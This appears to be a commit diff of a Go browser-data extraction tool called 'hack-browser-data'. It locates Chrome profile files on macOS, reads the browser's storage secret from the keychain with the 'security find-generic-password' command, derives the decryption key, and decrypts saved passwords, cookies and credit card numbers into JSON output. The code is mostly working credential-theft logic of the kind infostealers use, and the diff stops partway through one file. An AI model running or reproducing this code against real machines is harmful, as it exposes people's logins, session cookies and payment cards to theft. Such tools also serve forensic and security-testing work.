parent
							
								
									38a40cb29c
								
							
						
					
					
						commit
						9129c2a0c7
					
				| @ -0,0 +1,153 @@ | ||||
| package browser | ||||
| 
 | ||||
| import ( | ||||
| 	"fmt" | ||||
| 	"io/ioutil" | ||||
| 	"os" | ||||
| 	"path" | ||||
| 	"path/filepath" | ||||
| 	"strings" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/data" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	// home dir path not for android and ios
 | ||||
| 	homeDir, _ = os.UserHomeDir() | ||||
| ) | ||||
| 
 | ||||
| func PickBrowsers(name string) []*chromium { | ||||
| 	var browsers []*chromium | ||||
| 	name = strings.ToLower(name) | ||||
| 	if name == "all" { | ||||
| 		for _, v := range browserList { | ||||
| 			b := v.New(v.browserInfo, v.items) | ||||
| 			browsers = append(browsers, b) | ||||
| 		} | ||||
| 		return browsers | ||||
| 	} | ||||
| 	if choice, ok := browserList[name]; ok { | ||||
| 		b := choice.New(choice.browserInfo, choice.items) | ||||
| 		browsers = append(browsers, b) | ||||
| 		return browsers | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| type chromium struct { | ||||
| 	browserInfo *browserInfo | ||||
| 	items       []item | ||||
| 	itemPaths   map[item]string | ||||
| 	masterKey   []byte | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) GetProfilePath() string { | ||||
| 	return c.browserInfo.profilePath | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) GetStorageName() string { | ||||
| 	return c.browserInfo.storage | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) GetBrowserName() string { | ||||
| 	return c.browserInfo.name | ||||
| } | ||||
| 
 | ||||
| type firefox struct { | ||||
| 	browserInfo *browserInfo | ||||
| 	items       []item | ||||
| 	itemPaths   map[item]string | ||||
| 	masterKey   []byte | ||||
| } | ||||
| 
 | ||||
| // NewBrowser 根据浏览器信息生成 Browser Interface
 | ||||
| func newBrowser(browserInfo *browserInfo, items []item) *chromium { | ||||
| 	return &chromium{ | ||||
| 		browserInfo: browserInfo, | ||||
| 		items:       items, | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc { | ||||
| 	return func(path string, info os.FileInfo, err error) error { | ||||
| 		for _, item := range items { | ||||
| 			if item.DefaultName() == info.Name() && item == chromiumKey { | ||||
| 				itemPaths[item] = path | ||||
| 			} | ||||
| 			if item.DefaultName() == info.Name() && strings.Contains(path, "Default") { | ||||
| 				itemPaths[item] = path | ||||
| 			} | ||||
| 		} | ||||
| 		return err | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) walkItemAbsPath() error { | ||||
| 	var itemPaths = make(map[item]string) | ||||
| 	absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath)) | ||||
| 	err := filepath.Walk(absProfilePath, chromiumWalkFunc(defaultChromiumItems, itemPaths)) | ||||
| 	c.itemPaths = itemPaths | ||||
| 	return err | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) copyItemFileToLocal() error { | ||||
| 	for item, sourcePath := range c.itemPaths { | ||||
| 		var dstFilename = item.FileName() | ||||
| 		locals, _ := filepath.Glob("*") | ||||
| 		for _, v := range locals { | ||||
| 			if v == dstFilename { | ||||
| 				err := os.Remove(dstFilename) | ||||
| 				// TODO: Should Continue all iteration error
 | ||||
| 				if err != nil { | ||||
| 					return err | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 
 | ||||
| 		// TODO: Handle read file name error
 | ||||
| 		sourceFile, err := ioutil.ReadFile(sourcePath) | ||||
| 		if err != nil { | ||||
| 			fmt.Println(err.Error()) | ||||
| 		} | ||||
| 		err = ioutil.WriteFile(dstFilename, sourceFile, 0777) | ||||
| 		if err != nil { | ||||
| 			return err | ||||
| 		} | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) GetBrowsingData() []data.BrowsingData { | ||||
| 	var browsingData []data.BrowsingData | ||||
| 	for item := range c.itemPaths { | ||||
| 		if item != chromiumKey { | ||||
| 			d := item.NewBrowsingData() | ||||
| 			browsingData = append(browsingData, d) | ||||
| 		} | ||||
| 	} | ||||
| 	return browsingData | ||||
| } | ||||
| 
 | ||||
| type browserInfo struct { | ||||
| 	name        string | ||||
| 	storage     string | ||||
| 	profilePath string | ||||
| 	masterKey   string | ||||
| } | ||||
| 
 | ||||
| const ( | ||||
| 	chromeName = "Chrome" | ||||
| 	edgeName   = "Edge" | ||||
| ) | ||||
| 
 | ||||
| var defaultChromiumItems = []item{ | ||||
| 	chromiumKey, | ||||
| 	chromiumPassword, | ||||
| 	chromiumCookie, | ||||
| 	chromiumBookmark, | ||||
| 	chromiumHistory, | ||||
| 	chromiumDownload, | ||||
| 	chromiumCreditcard, | ||||
| 	chromiumLocalStorage, | ||||
| 	chromiumExtension, | ||||
| } | ||||
| @ -0,0 +1,101 @@ | ||||
| package browser | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"crypto/sha1" | ||||
| 	"errors" | ||||
| 	"os/exec" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	browserList = map[string]struct { | ||||
| 		browserInfo *browserInfo | ||||
| 		items       []item | ||||
| 		New         func(browser *browserInfo, items []item) *chromium | ||||
| 	}{ | ||||
| 		"chrome": { | ||||
| 			browserInfo: chromeInfo, | ||||
| 			items:       defaultChromiumItems, | ||||
| 			New:         newBrowser, | ||||
| 		}, | ||||
| 		// "edge": {
 | ||||
| 		// 	browserInfo: edgeInfo,
 | ||||
| 		// 	items:       defaultChromiumItems,
 | ||||
| 		// 	New:         newBrowser,
 | ||||
| 		// },
 | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	ErrWrongSecurityCommand = errors.New("macOS wrong security command") | ||||
| ) | ||||
| 
 | ||||
| func (c *chromium) GetMasterKey() ([]byte, error) { | ||||
| 	var ( | ||||
| 		cmd            *exec.Cmd | ||||
| 		stdout, stderr bytes.Buffer | ||||
| 	) | ||||
| 	// $ security find-generic-password -wa 'Chrome'
 | ||||
| 	cmd = exec.Command("security", "find-generic-password", "-wa", c.GetStorageName()) | ||||
| 	cmd.Stdout = &stdout | ||||
| 	cmd.Stderr = &stderr | ||||
| 	err := cmd.Run() | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	if stderr.Len() > 0 { | ||||
| 		return nil, errors.New(stderr.String()) | ||||
| 	} | ||||
| 	temp := stdout.Bytes() | ||||
| 	chromeSecret := temp[:len(temp)-1] | ||||
| 	if chromeSecret == nil { | ||||
| 		return nil, ErrWrongSecurityCommand | ||||
| 	} | ||||
| 	var chromeSalt = []byte("saltysalt") | ||||
| 	// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
 | ||||
| 	key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) | ||||
| 	c.masterKey = key | ||||
| 	return c.masterKey, nil | ||||
| 
 | ||||
| } | ||||
| 
 | ||||
| var ( | ||||
| 	chromeInfo = &browserInfo{ | ||||
| 		name:        chromeName, | ||||
| 		storage:     chromeStorageName, | ||||
| 		profilePath: chromeProfilePath, | ||||
| 	} | ||||
| 	edgeInfo = &browserInfo{ | ||||
| 		name:        edgeName, | ||||
| 		storage:     edgeStorageName, | ||||
| 		profilePath: edgeProfilePath, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	chromeProfilePath     = "/Library/Application Support/Google/Chrome/" | ||||
| 	chromeBetaProfilePath = "/Library/Application Support/Google/Chrome Beta/" | ||||
| 	chromiumProfilePath   = "/Library/Application Support/Chromium/" | ||||
| 	edgeProfilePath       = "/Library/Application Support/Microsoft Edge/" | ||||
| 	braveProfilePath      = "/Library/Application Support/BraveSoftware/Brave-Browser/" | ||||
| 	operaProfilePath      = "/Library/Application Support/com.operasoftware.Opera/" | ||||
| 	operaGXProfilePath    = "/Library/Application Support/com.operasoftware.OperaGX/" | ||||
| 	vivaldiProfilePath    = "/Library/Application Support/Vivaldi/" | ||||
| 	coccocProfilePath     = "/Library/Application Support/Coccoc/" | ||||
| 	yandexProfilePath     = "/Library/Application Support/Yandex/YandexBrowser/" | ||||
| 
 | ||||
| 	fireFoxProfilePath = "/Library/Application Support/Firefox/Profiles/" | ||||
| ) | ||||
| const ( | ||||
| 	chromeStorageName     = "Chrome" | ||||
| 	chromeBetaStorageName = "Chrome" | ||||
| 	chromiumStorageName   = "Chromium" | ||||
| 	edgeStorageName       = "Microsoft Edge" | ||||
| 	braveStorageName      = "Brave" | ||||
| 	operaStorageName      = "Opera" | ||||
| 	vivaldiStorageName    = "Vivaldi" | ||||
| 	coccocStorageName     = "CocCoc" | ||||
| 	yandexStorageName     = "Yandex" | ||||
| ) | ||||
| @ -0,0 +1,50 @@ | ||||
| package browser | ||||
| 
 | ||||
| import ( | ||||
| 	"fmt" | ||||
| 	"testing" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/outputter" | ||||
| ) | ||||
| 
 | ||||
| func TestPickBrowsers(t *testing.T) { | ||||
| 	browsers := PickBrowsers("all") | ||||
| 	filetype := "json" | ||||
| 	dir := "result" | ||||
| 	output := outputter.NewOutPutter(filetype) | ||||
| 	if err := output.MakeDir("result"); err != nil { | ||||
| 		panic(err) | ||||
| 	} | ||||
| 	for _, b := range browsers { | ||||
| 		if err := b.walkItemAbsPath(); err != nil { | ||||
| 			panic(err) | ||||
| 		} | ||||
| 		fmt.Printf("%+v\n", b) | ||||
| 		if err := b.copyItemFileToLocal(); err != nil { | ||||
| 			panic(err) | ||||
| 		} | ||||
| 		masterKey, err := b.GetMasterKey() | ||||
| 		if err != nil { | ||||
| 			fmt.Println(err) | ||||
| 		} | ||||
| 		browserName := b.GetBrowserName() | ||||
| 		multiData := b.GetBrowsingData() | ||||
| 		for _, data := range multiData { | ||||
| 			if data == nil { | ||||
| 				fmt.Println(data) | ||||
| 				continue | ||||
| 			} | ||||
| 			if err := data.Parse(masterKey); err != nil { | ||||
| 				fmt.Println(err) | ||||
| 			} | ||||
| 			filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype) | ||||
| 			file, err := output.CreateFile(dir, filename) | ||||
| 			if err != nil { | ||||
| 				panic(err) | ||||
| 			} | ||||
| 			if err := output.Write(data, file); err != nil { | ||||
| 				panic(err) | ||||
| 			} | ||||
| 		} | ||||
| 	} | ||||
| } | ||||
| @ -0,0 +1,43 @@ | ||||
| package consts | ||||
| 
 | ||||
| // item's default filename
 | ||||
| const ( | ||||
| 	ChromiumKey          = "Local State" | ||||
| 	ChromiumCredit       = "Web Data" | ||||
| 	ChromiumPassword     = "Login Data" | ||||
| 	ChromiumHistory      = "History" | ||||
| 	ChromiumDownload     = "History" | ||||
| 	ChromiumCookie       = "Cookies" | ||||
| 	ChromiumBookmark     = "Bookmarks" | ||||
| 	ChromiumLocalStorage = "chromiumLocalStorage" | ||||
| 
 | ||||
| 	YandexPassword = "Ya PassMan Data" | ||||
| 	YandexCredit   = "Ya Credit Cards" | ||||
| 
 | ||||
| 	FirefoxKey    = "key4.db" | ||||
| 	FirefoxCookie = "cookies.sqlite" | ||||
| 	FirefoxLogin  = "logins.json" | ||||
| 	FirefoxData   = "places.sqlite" | ||||
| ) | ||||
| 
 | ||||
| // item's renamed filename
 | ||||
| const ( | ||||
| 	ChromiumKeyFilename          = "ChromiumKeyFilename" | ||||
| 	ChromiumCreditFilename       = "ChromiumCreditFilename" | ||||
| 	ChromiumPasswordFilename     = "ChromiumPasswordFilename" | ||||
| 	ChromiumHistoryFilename      = "ChromiumHistoryFilename" | ||||
| 	ChromiumDownloadFilename     = "ChromiumDownloadFilename" | ||||
| 	ChromiumCookieFilename       = "ChromiumCookieFilename" | ||||
| 	ChromiumBookmarkFilename     = "ChromiumBookmarkFilename" | ||||
| 	ChromiumLocalStorageFilename = "ChromiumLocalStorageFilename" | ||||
| 
 | ||||
| 	YandexPasswordFilename = "YandexPasswordFilename" | ||||
| 	YandexCreditFilename   = "YandexCreditFilename" | ||||
| 
 | ||||
| 	// TODO: add all firefox's filename
 | ||||
| 
 | ||||
| 	FirefoxKey4DBFilename = "FirefoxKey4DBFilename" | ||||
| 	FirefoxCookieFilename = "FirefoxCookieFilename" | ||||
| 	FirefoxLoginFilename  = "FirefoxLoginFilename" | ||||
| 	FirefoxDataFilename   = "FirefoxDataFilename" | ||||
| ) | ||||
| @ -0,0 +1 @@ | ||||
| package consts | ||||
| @ -0,0 +1,64 @@ | ||||
| package data | ||||
| 
 | ||||
| import ( | ||||
| 	"sort" | ||||
| 
 | ||||
| 	"github.com/tidwall/gjson" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/consts" | ||||
| 	"hack-browser-data/utils" | ||||
| ) | ||||
| 
 | ||||
| type ChromiumBookmark []bookmark | ||||
| 
 | ||||
| func (c *ChromiumBookmark) Parse(masterKey []byte) error { | ||||
| 	bookmarks, err := utils.ReadFile(consts.ChromiumBookmarkFilename) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	r := gjson.Parse(bookmarks) | ||||
| 	if r.Exists() { | ||||
| 		roots := r.Get("roots") | ||||
| 		roots.ForEach(func(key, value gjson.Result) bool { | ||||
| 			getBookmarkChildren(value, c) | ||||
| 			return true | ||||
| 		}) | ||||
| 	} | ||||
| 	sort.Slice(*c, func(i, j int) bool { | ||||
| 		return (*c)[i].DateAdded.After((*c)[j].DateAdded) | ||||
| 	}) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjson.Result) { | ||||
| 	const ( | ||||
| 		bookmarkID       = "id" | ||||
| 		bookmarkAdded    = "date_added" | ||||
| 		bookmarkUrl      = "url" | ||||
| 		bookmarkName     = "name" | ||||
| 		bookmarkType     = "type" | ||||
| 		bookmarkChildren = "children" | ||||
| 	) | ||||
| 	nodeType := value.Get(bookmarkType) | ||||
| 	bm := bookmark{ | ||||
| 		ID:        value.Get(bookmarkID).Int(), | ||||
| 		Name:      value.Get(bookmarkName).String(), | ||||
| 		URL:       value.Get(bookmarkUrl).String(), | ||||
| 		DateAdded: utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()), | ||||
| 	} | ||||
| 	children = value.Get(bookmarkChildren) | ||||
| 	if nodeType.Exists() { | ||||
| 		bm.Type = nodeType.String() | ||||
| 		*w = append(*w, bm) | ||||
| 		if children.Exists() && children.IsArray() { | ||||
| 			for _, v := range children.Array() { | ||||
| 				children = getBookmarkChildren(v, w) | ||||
| 			} | ||||
| 		} | ||||
| 	} | ||||
| 	return children | ||||
| } | ||||
| 
 | ||||
| func (c *ChromiumBookmark) Name() string { | ||||
| 	return "bookmark" | ||||
| } | ||||
| @ -0,0 +1,7 @@ | ||||
| package data | ||||
| 
 | ||||
| type BrowsingData interface { | ||||
| 	Parse(masterKey []byte) error | ||||
| 
 | ||||
| 	Name() string | ||||
| } | ||||
| @ -0,0 +1,74 @@ | ||||
| package data | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"fmt" | ||||
| 	"sort" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/consts" | ||||
| 	"hack-browser-data/pkg/decrypter" | ||||
| 	"hack-browser-data/utils" | ||||
| ) | ||||
| 
 | ||||
| type ChromiumCookie []cookie | ||||
| 
 | ||||
| func (c *ChromiumCookie) Parse(masterKey []byte) error { | ||||
| 	cookieDB, err := sql.Open("sqlite3", consts.ChromiumCookieFilename) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer cookieDB.Close() | ||||
| 	rows, err := cookieDB.Query(queryChromiumCookie) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 	for rows.Next() { | ||||
| 		var ( | ||||
| 			key, host, path                               string | ||||
| 			isSecure, isHTTPOnly, hasExpire, isPersistent int | ||||
| 			createDate, expireDate                        int64 | ||||
| 			value, encryptValue                           []byte | ||||
| 		) | ||||
| 		if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil { | ||||
| 			fmt.Println(err) | ||||
| 		} | ||||
| 
 | ||||
| 		cookie := cookie{ | ||||
| 			KeyName:      key, | ||||
| 			Host:         host, | ||||
| 			Path:         path, | ||||
| 			encryptValue: encryptValue, | ||||
| 			IsSecure:     utils.IntToBool(isSecure), | ||||
| 			IsHTTPOnly:   utils.IntToBool(isHTTPOnly), | ||||
| 			HasExpire:    utils.IntToBool(hasExpire), | ||||
| 			IsPersistent: utils.IntToBool(isPersistent), | ||||
| 			CreateDate:   utils.TimeEpochFormat(createDate), | ||||
| 			ExpireDate:   utils.TimeEpochFormat(expireDate), | ||||
| 		} | ||||
| 		// TODO: replace DPAPI
 | ||||
| 		if len(encryptValue) > 0 { | ||||
| 			if masterKey == nil { | ||||
| 				value, err = decrypter.DPApi(encryptValue) | ||||
| 				if err != nil { | ||||
| 					fmt.Println(err) | ||||
| 				} | ||||
| 			} else { | ||||
| 				value, err = decrypter.ChromePass(masterKey, encryptValue) | ||||
| 				if err != nil { | ||||
| 					fmt.Println(err) | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 		cookie.Value = string(value) | ||||
| 		*c = append(*c, cookie) | ||||
| 	} | ||||
| 	sort.Slice(*c, func(i, j int) bool { | ||||
| 		return (*c)[i].CreateDate.After((*c)[j].CreateDate) | ||||
| 	}) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *ChromiumCookie) Name() string { | ||||
| 	return "cookie" | ||||
| } | ||||
| @ -0,0 +1,56 @@ | ||||
| package data | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"fmt" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/consts" | ||||
| 	"hack-browser-data/pkg/decrypter" | ||||
| ) | ||||
| 
 | ||||
| type ChromiumCreditCard []card | ||||
| 
 | ||||
| func (c *ChromiumCreditCard) Parse(masterKey []byte) error { | ||||
| 	creditDB, err := sql.Open("sqlite3", consts.ChromiumCreditFilename) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer creditDB.Close() | ||||
| 	rows, err := creditDB.Query(queryChromiumCredit) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 	for rows.Next() { | ||||
| 		var ( | ||||
| 			name, month, year, guid string | ||||
| 			value, encryptValue     []byte | ||||
| 		) | ||||
| 		if err := rows.Scan(&guid, &name, &month, &year, &encryptValue); err != nil { | ||||
| 			fmt.Println(err) | ||||
| 		} | ||||
| 		creditCardInfo := card{ | ||||
| 			GUID:            guid, | ||||
| 			Name:            name, | ||||
| 			ExpirationMonth: month, | ||||
| 			ExpirationYear:  year, | ||||
| 		} | ||||
| 		if masterKey == nil { | ||||
| 			value, err = decrypter.DPApi(encryptValue) | ||||
| 			if err != nil { | ||||
| 				return err | ||||
| 			} | ||||
| 		} else { | ||||
| 			value, err = decrypter.ChromePass(masterKey, encryptValue) | ||||
| 			if err != nil { | ||||
| 				return err | ||||
| 			} | ||||
| 		} | ||||
| 		creditCardInfo.CardNumber = string(value) | ||||
| 		*c = append(*c, creditCardInfo) | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| func (c *ChromiumCreditCard) Name() string { | ||||
| 	return "creditcard" | ||||
| } | ||||
| @ -0,0 +1,51 @@ | ||||
| package data | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"fmt" | ||||
| 	"sort" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/consts" | ||||
| 	"hack-browser-data/utils" | ||||
| ) | ||||
| 
 | ||||
| type ChromiumDownload []download | ||||
| 
 | ||||
| func (c *ChromiumDownload) Parse(masterKey []byte) error { | ||||
| 	historyDB, err := sql.Open("sqlite3", consts.ChromiumDownloadFilename) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer historyDB.Close() | ||||
| 	rows, err := historyDB.Query(queryChromiumDownload) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 	for rows.Next() { | ||||
| 		var ( | ||||
| 			targetPath, tabUrl, mimeType   string | ||||
| 			totalBytes, startTime, endTime int64 | ||||
| 		) | ||||
| 		if err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType); err != nil { | ||||
| 			fmt.Println(err) | ||||
| 		} | ||||
| 		data := download{ | ||||
| 			TargetPath: targetPath, | ||||
| 			Url:        tabUrl, | ||||
| 			TotalBytes: totalBytes, | ||||
| 			StartTime:  utils.TimeEpochFormat(startTime), | ||||
| 			EndTime:    utils.TimeEpochFormat(endTime), | ||||
| 			MimeType:   mimeType, | ||||
| 		} | ||||
| 		*c = append(*c, data) | ||||
| 	} | ||||
| 	sort.Slice(*c, func(i, j int) bool { | ||||
| 		return (*c)[i].TotalBytes > (*c)[j].TotalBytes | ||||
| 	}) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *ChromiumDownload) Name() string { | ||||
| 	return "download" | ||||
| } | ||||
| @ -0,0 +1,51 @@ | ||||
| package data | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"fmt" | ||||
| 	"sort" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/consts" | ||||
| 	"hack-browser-data/utils" | ||||
| ) | ||||
| 
 | ||||
| type ChromiumHistory []history | ||||
| 
 | ||||
| func (c *ChromiumHistory) Parse(masterKey []byte) error { | ||||
| 	historyDB, err := sql.Open("sqlite3", consts.ChromiumHistoryFilename) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer historyDB.Close() | ||||
| 	rows, err := historyDB.Query(queryChromiumHistory) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 	for rows.Next() { | ||||
| 		var ( | ||||
| 			url, title    string | ||||
| 			visitCount    int | ||||
| 			lastVisitTime int64 | ||||
| 		) | ||||
| 		// TODO: handle rows error
 | ||||
| 		if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil { | ||||
| 			fmt.Println(err) | ||||
| 		} | ||||
| 		data := history{ | ||||
| 			Url:           url, | ||||
| 			Title:         title, | ||||
| 			VisitCount:    visitCount, | ||||
| 			LastVisitTime: utils.TimeEpochFormat(lastVisitTime), | ||||
| 		} | ||||
| 		*c = append(*c, data) | ||||
| 	} | ||||
| 	sort.Slice(*c, func(i, j int) bool { | ||||
| 		return (*c)[i].VisitCount > (*c)[j].VisitCount | ||||
| 	}) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *ChromiumHistory) Name() string { | ||||
| 	return "history" | ||||
| } | ||||
| @ -0,0 +1,72 @@ | ||||
| package data | ||||
| 
 | ||||
| import ( | ||||
| 	"time" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	queryChromiumCredit   = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` | ||||
| 	queryChromiumLogin    = `SELECT origin_url, username_value, password_value, date_created FROM logins` | ||||
| 	queryChromiumHistory  = `SELECT url, title, visit_count, last_visit_time FROM urls` | ||||
| 	queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` | ||||
| 	queryChromiumCookie   = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` | ||||
| 	queryFirefoxHistory   = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null` | ||||
| 	queryFirefoxDownload  = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id` | ||||
| 	queryFirefoxBookMark  = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)` | ||||
| 	queryFirefoxCookie    = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies` | ||||
| 	queryMetaData         = `SELECT item1, item2 FROM metaData WHERE id = 'password'` | ||||
| 	queryNssPrivate       = `SELECT a11, a102 from nssPrivate` | ||||
| 	closeJournalMode      = `PRAGMA journal_mode=off` | ||||
| ) | ||||
| 
 | ||||
| type ( | ||||
| 	loginData struct { | ||||
| 		UserName    string | ||||
| 		encryptPass []byte | ||||
| 		encryptUser []byte | ||||
| 		Password    string | ||||
| 		LoginUrl    string | ||||
| 		CreateDate  time.Time | ||||
| 	} | ||||
| 	bookmark struct { | ||||
| 		ID        int64 | ||||
| 		Name      string | ||||
| 		Type      string | ||||
| 		URL       string | ||||
| 		DateAdded time.Time | ||||
| 	} | ||||
| 	cookie struct { | ||||
| 		Host         string | ||||
| 		Path         string | ||||
| 		KeyName      string | ||||
| 		encryptValue []byte | ||||
| 		Value        string | ||||
| 		IsSecure     bool | ||||
| 		IsHTTPOnly   bool | ||||
| 		HasExpire    bool | ||||
| 		IsPersistent bool | ||||
| 		CreateDate   time.Time | ||||
| 		ExpireDate   time.Time | ||||
| 	} | ||||
| 	history struct { | ||||
| 		Title         string | ||||
| 		Url           string | ||||
| 		VisitCount    int | ||||
| 		LastVisitTime time.Time | ||||
| 	} | ||||
| 	download struct { | ||||
| 		TargetPath string | ||||
| 		Url        string | ||||
| 		TotalBytes int64 | ||||
| 		StartTime  time.Time | ||||
| 		EndTime    time.Time | ||||
| 		MimeType   string | ||||
| 	} | ||||
| 	card struct { | ||||
| 		GUID            string | ||||
| 		Name            string | ||||
| 		ExpirationYear  string | ||||
| 		ExpirationMonth string | ||||
| 		CardNumber      string | ||||
| 	} | ||||
| ) | ||||
| @ -0,0 +1,81 @@ | ||||
| package data | ||||
| 
 | ||||
| import ( | ||||
| 	"database/sql" | ||||
| 	"fmt" | ||||
| 	"sort" | ||||
| 	"time" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/consts" | ||||
| 	"hack-browser-data/pkg/decrypter" | ||||
| 	"hack-browser-data/utils" | ||||
| 
 | ||||
| 	_ "github.com/mattn/go-sqlite3" | ||||
| ) | ||||
| 
 | ||||
| type ChromiumPassword []loginData | ||||
| 
 | ||||
| func (c *ChromiumPassword) Parse(masterKey []byte) error { | ||||
| 	loginDB, err := sql.Open("sqlite3", consts.ChromiumPasswordFilename) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer loginDB.Close() | ||||
| 	rows, err := loginDB.Query(queryChromiumLogin) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer rows.Close() | ||||
| 
 | ||||
| 	for rows.Next() { | ||||
| 		var ( | ||||
| 			url, username string | ||||
| 			pwd, password []byte | ||||
| 			create        int64 | ||||
| 		) | ||||
| 		if err := rows.Scan(&url, &username, &pwd, &create); err != nil { | ||||
| 			fmt.Println(err) | ||||
| 		} | ||||
| 		login := loginData{ | ||||
| 			UserName:    username, | ||||
| 			encryptPass: pwd, | ||||
| 			LoginUrl:    url, | ||||
| 		} | ||||
| 		if len(pwd) > 0 { | ||||
| 			if masterKey == nil { | ||||
| 				password, err = decrypter.DPApi(pwd) | ||||
| 				if err != nil { | ||||
| 					fmt.Println(err) | ||||
| 				} | ||||
| 			} else { | ||||
| 				password, err = decrypter.ChromePass(masterKey, pwd) | ||||
| 				if err != nil { | ||||
| 					fmt.Println(err) | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 		if create > time.Now().Unix() { | ||||
| 			login.CreateDate = utils.TimeEpochFormat(create) | ||||
| 		} else { | ||||
| 			login.CreateDate = utils.TimeStampFormat(create) | ||||
| 		} | ||||
| 		login.Password = string(password) | ||||
| 		*c = append(*c, login) | ||||
| 	} | ||||
| 	// sort with create date
 | ||||
| 	sort.Slice(*c, func(i, j int) bool { | ||||
| 		return (*c)[i].CreateDate.After((*c)[j].CreateDate) | ||||
| 	}) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *ChromiumPassword) Name() string { | ||||
| 	return "password" | ||||
| } | ||||
| 
 | ||||
| type firefoxPassword struct { | ||||
| } | ||||
| 
 | ||||
| func (c *firefoxPassword) Parse(masterKey []byte) error { | ||||
| 	return nil | ||||
| } | ||||
| @ -0,0 +1,117 @@ | ||||
| package browser | ||||
| 
 | ||||
| import ( | ||||
| 	"hack-browser-data/pkg/browser/consts" | ||||
| 	"hack-browser-data/pkg/browser/data" | ||||
| ) | ||||
| 
 | ||||
| type item int | ||||
| 
 | ||||
| const ( | ||||
| 	chromiumKey item = iota | ||||
| 	chromiumPassword | ||||
| 	chromiumCookie | ||||
| 	chromiumBookmark | ||||
| 	chromiumHistory | ||||
| 	chromiumDownload | ||||
| 	chromiumCreditcard | ||||
| 	chromiumLocalStorage | ||||
| 	chromiumExtension | ||||
| 
 | ||||
| 	firefoxKey4 | ||||
| 	firefoxPassword | ||||
| 	firefoxCookie | ||||
| 	firefoxBookmark | ||||
| 	firefoxHistory | ||||
| 	firefoxDownload | ||||
| 	firefoxCreditcard | ||||
| 	firefoxLocalStorage | ||||
| 	firefoxExtension | ||||
| ) | ||||
| 
 | ||||
| func (i item) DefaultName() string { | ||||
| 	switch i { | ||||
